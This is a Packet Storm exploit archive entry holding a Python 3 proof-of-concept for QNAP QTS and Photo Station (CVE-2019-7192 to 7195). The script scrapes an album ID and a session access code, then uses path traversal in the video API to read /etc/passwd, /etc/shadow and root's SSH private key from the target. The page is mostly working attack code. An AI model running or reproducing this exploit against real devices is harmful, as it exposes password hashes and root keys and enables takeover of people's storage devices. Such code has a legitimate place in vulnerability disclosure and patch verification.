what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

QNAP QTS And Photo Station 6.0.3 Remote Command Execution

QNAP QTS And Photo Station 6.0.3 Remote Command Execution
Posted May 28, 2020
Authored by Yunus YILDIRIM

QNAP QTS and Photo Station version 6.0.3 suffers from a remote command execution vulnerability.

tags | exploit, remote
advisories | CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
SHA-256 | 604298053dafd0abe28f387617874da35d43eb2b5d986c0ce5674a7007367477

QNAP QTS And Photo Station 6.0.3 Remote Command Execution

Change Mirror Download
# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution
# Exploit Author: Yunus YILDIRIM (Th3Gundy)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Date: 2020-05-28
# Vendor Homepage: https://www.qnap.com
# Version: QTS < 4.4.1 | Photo Station < 6.0.3
# CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
# References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
# References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e
# References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25

######################################################################
######################################################################

#!/usr/bin/python3

__author__ = "Yunus YILDIRIM (@Th3Gundy)"
__version__ = "0.1"


import requests
import re, sys

# hide ssl error
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def get_banner():
print("""\033[91m
█████ ███▄ █ ▄▄▄ ██▓███
▒██▓ ██▒ ██ ▀█ █ ▒████▄ ▓██░ ██▒
▒██▒ ██░▓██ ▀█ ██▒▒██ ▀█▄ ▓██░ ██▓▒
░██ █▀ ░▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒
░▒███▒█▄ ▒██░ ▓██░ ▓█ ▓██▒▒██▒ ░ ░
░░ ▒▒░ ▒ ░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░
░ ▒░ ░ ░ ░░ ░ ▒░ ▒ ▒▒ ░░▒ ░
░ ░ ░ ░ ░ ░ ▒ ░░
░ ░ ░ ░ \033[0m \033[94m {0} \033[0m
""".format(__author__))


def get_file_content(file):
post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)

print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text))

# print banner
get_banner()

if len(sys.argv) != 2:
print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m")
sys.exit(-1)

url = sys.argv[1].rstrip('/')
headers = {"User-Agent": "Gundy - QNAP RCE"}

# for session cookie
req = requests.Session()

#######################################################################
# search album_id

print("="*65)
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)

if album_id_response.status_code != 200:
print("album id not found \n\033[91mnot vulnerable\033[0m")
sys.exit(0)

album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()

print("album_id ==> " + album_id)

#######################################################################
# search $_SESSION['access_code']

access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
if access_code_response.status_code != 200:
print("slideshow not found \n\033[91mnot vulnerable\033[0m")
sys.exit(0)

access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()

print("access_code ==> " + access_code)

#######################################################################

# /etc/passwd file read
get_file_content('./../../../../../etc/passwd')

# /etc/shadow read
get_file_content('./../../../../../etc/shadow')

# /etc/hostname read
get_file_content('./../../../../../etc/hostname')

# /root/.ssh/id_rsa read
get_file_content('./../../../../../root/.ssh/id_rsa')

#######################################################################
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close